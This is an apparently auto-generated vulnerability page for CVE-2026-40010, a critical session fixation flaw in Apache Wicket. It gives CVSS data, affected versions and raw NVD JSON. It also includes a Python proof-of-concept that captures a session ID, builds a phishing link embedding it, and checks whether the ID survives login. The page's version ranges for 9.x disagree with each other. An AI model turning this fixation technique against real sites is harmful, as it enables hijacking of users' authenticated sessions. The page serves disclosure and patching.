Security Vulnerability Report
中文
CVE-2026-40010 CVSS 9.1 CRITICAL

CVE-2026-40010

Published: 2026-05-06 10:16:20
Last Modified: 2026-05-07 13:16:11

Description

Missing invocation of Servlet http web request method changeSessionId after session binding can be exploited for a session fixation attack in Apache Wicket. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
Apache Wicket 8.0.0 - 8.17.0
Apache Wicket 9.0.0
Apache Wicket 10.0.0 - 10.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Code for Session Fixation in Apache Wicket # This script demonstrates the concept of the attack. import requests target_url = "http://vulnerable-wicket-app.com" login_endpoint = "/login" # Step 1: Attacker establishes a session and captures the Session ID print("[Step 1] Attacker visiting site to get a session...") session = requests.Session() initial_response = session.get(target_url) # Assuming the cookie name is JSESSIONID (common in Java/Servlet apps) victim_session_id = session.cookies.get('JSESSIONID') print(f"[+] Captured Session ID: {victim_session_id}") # Step 2: Attacker tricks the victim into using this Session ID # In a real scenario, this would be done via a phishing link: <url>;jsessionid=ID print(f"\n[Step 2] Attacker sends malicious link with Session ID to victim...") print(f"Link: {target_url};jsessionid={victim_session_id}") # Step 3: Victim logs in using the provided Session ID # We simulate this by reusing the session object which holds the cookie print("\n[Step 3] Victim logs in...") login_credentials = { "username": "victim", "password": "password123" } login_response = session.post(target_url + login_endpoint, data=login_credentials) # Step 4: Verify if Session ID changed after login post_login_session_id = session.cookies.get('JSESSIONID') print(f"\n[Step 4] Checking Session ID after login...") print(f"Original ID: {victim_session_id}") print(f"Post-login ID: {post_login_session_id}") if victim_session_id == post_login_session_id: print("\n[!] VULNERABILITY CONFIRMED: Session ID did not change after login.") print("[!] Attacker can now authenticate using the original Session ID.") else: print("\n[-] Session ID changed. Fixation attack failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40010", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:20.093", "lastModified": "2026-05-07T13:16:10.557", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing invocation of Servlet http web request method changeSessionId after session binding can be exploited for a session fixation attack in Apache Wicket.\n\nThis issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0.\n\nUsers are recommended to upgrade to version 10.9.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.17.0", "matchCriteriaId": "757E1B16-2C43-4B59-82BE-DEA456EF0F28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.22.0", "matchCriteriaId": "7977D77A-1CBF-41E0-BFE7-55C5B22CD85C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.9.0", "matchCriteriaId": "CE199A15-1741-4988-8C6A-D54F202F65E3"}]}]}], "references": [{"url": "https://lists.apache.org/thread/61wsc0xdtfd5oozojfx7by9w3jwgkmv1", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}